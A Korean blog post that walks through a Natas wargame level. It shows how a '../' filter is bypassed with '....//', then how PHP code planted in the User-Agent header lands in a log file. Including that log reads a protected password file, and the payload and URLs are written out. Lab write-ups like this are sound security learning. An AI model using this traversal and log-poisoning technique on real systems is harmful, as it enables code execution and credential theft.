메뉴 건너뛰기

노루발의 개인 게시판

오랫만의 Natas 풀이입니다. 어려워져서 좀 늦었네요.


접속하면 en/de 메뉴가 있고, 각 언어로 작성된 파일들을 보여준다.

소스 코드를 보면 통채로 파일을 include 해오는 것을 볼 수 있다:


    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) {
            include($filename);
            return 1;
        }
        return 0;
    }


directory traversal을 통해 문제를 풀라는 출제자의 의도가 엿보인다.

언제나처럼 /etc/natas_webpass/natas26 파일에 password가 있을 것이고, 이것을 include 해서 화면에 뿌려주게 하면 가능할 것이다.

다만 ../ 문자열을 공백으로 필터링하고 있다. 이럴 경우에는 어떻게 directory traversal이 가능할까?


https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal

답은 ....// 문자열을 사용하는 것이다. ....// 문자열에서 ../를 공백으로 치환하면 ../ 문자열이 된다. 예로:

../../etc/natas_webpass/natas26 -> etc/natas_webpass/natas26

....//....//etc/natas_webpass/natas26 -> ....//....//etc/natas_webpass/natas26 -> ../../etc/natas_webpass/natas26


하지만 문제가 또 있다. natas_webpass 문자열이 포함된 경로를 include하면 에러를 뱉어 버린다.

그렇다면 어떻게 해야 할까?

우리가 include 해올 수 있는 파일은 /etc/natas_webpass/natas26 뿐만이 아니다. 다시 소스를 보자:


    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n";
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }


로그를 시간/user-agent/개발자가 출력하고자 하는 내용으로 세션 파일에 출력하는 것을 확인할 수 있다.

다만 user-agent는 따로 필터링하고 있지 않으므로 사용자가 user-agent 값을 수정한다면 원하는 내용을 입력할 수 있다.

단순히 파일 내용을 본문으로 뿌려주는 것이 아니라 include 해오고 있으므로 사용자가 원하는 임의의 PHP 코드를 실행시킬 수 있는 것이다:


다음 URL에 접속하여 logRequest 함수를 발생시키자:

http://natas25.natas.labs.overthewire.org/?lang=../

접속시 user-agent는 다음과 같이 변경한다:

<?php echo file_get_contents( "/etc/natas_webpass/natas26" ); ?>


이후 다음 URL을 사용해 쿠키에서 얻어낸 session id를 이용하여 로그 파일에 접근하면 natas26의 password를 알 수 있다.

http://natas25.natas.labs.overthewire.org/?lang=..././logs/natas25_kgn42d4sj3k7ucs431fj2ist74.log

분류 :
망한거
조회 수 :
48
등록일 :
2020.03.19
02:36:06 (*.47.15.250)
엮인글 :
게시글 주소 :
https://hondoom.com/zbxe/index.php?mid=noru&document_srl=818149
파일 첨부

여기에 파일을 끌어 놓거나 파일 첨부 버튼을 클릭하세요.

파일 크기 제한 : 0MB (허용 확장자 : *.*)

0개 첨부 됨 ( / )
옵션 :
:
:
List of Articles
번호 제목 글쓴이 날짜 조회 수
» 망한거 (스포일러) Natas24 풀이 노루발 2020-03-19 48
33 망한거 (스포일러) Natas24 풀이 노루발 2020-03-17 19
32 망한거 (스포일러) Natas23 풀이 노루발 2020-03-13 16
31 망한거 (스포일러) Natas22 풀이 노루발 2020-03-13 10
30 망한거 (스포일러) Natas21 풀이 노루발 2020-03-13 13
29 망한거 (스포일러) Natas20 풀이 노루발 2020-03-13 16
28 망한거 (스포일러) Natas19 풀이 노루발 2020-03-13 14
27 망한거 (스포일러) Natas18 풀이 노루발 2020-03-12 9
26 망한거 (스포일러) Natas17 풀이 노루발 2020-03-12 16
25 망한거 (스포일러) Natas16 풀이 노루발 2020-03-12 18
24 망한거 (스포일러) Natas15 풀이 노루발 2020-03-11 21
23 망한거 (스포일러) Natas14 풀이 노루발 2020-03-10 12
22 망한거 (스포일러) Natas13 풀이 노루발 2020-03-10 7
21 망한거 (스포일러) Natas12 풀이 노루발 2020-03-08 15
20 망한거 (스포일러) Natas11 풀이 노루발 2020-03-07 19
19 망한거 (스포일러) Natas10 풀이 노루발 2020-03-07 13
18 망한거 (스포일러) Natas9 풀이 노루발 2020-03-06 11
17 망한거 (스포일러) Natas8 풀이 노루발 2020-03-06 8
16 망한거 (스포일러) Natas7 풀이 노루발 2020-03-06 10
15 망한거 (스포일러) Natas6 풀이 노루발 2020-03-06 9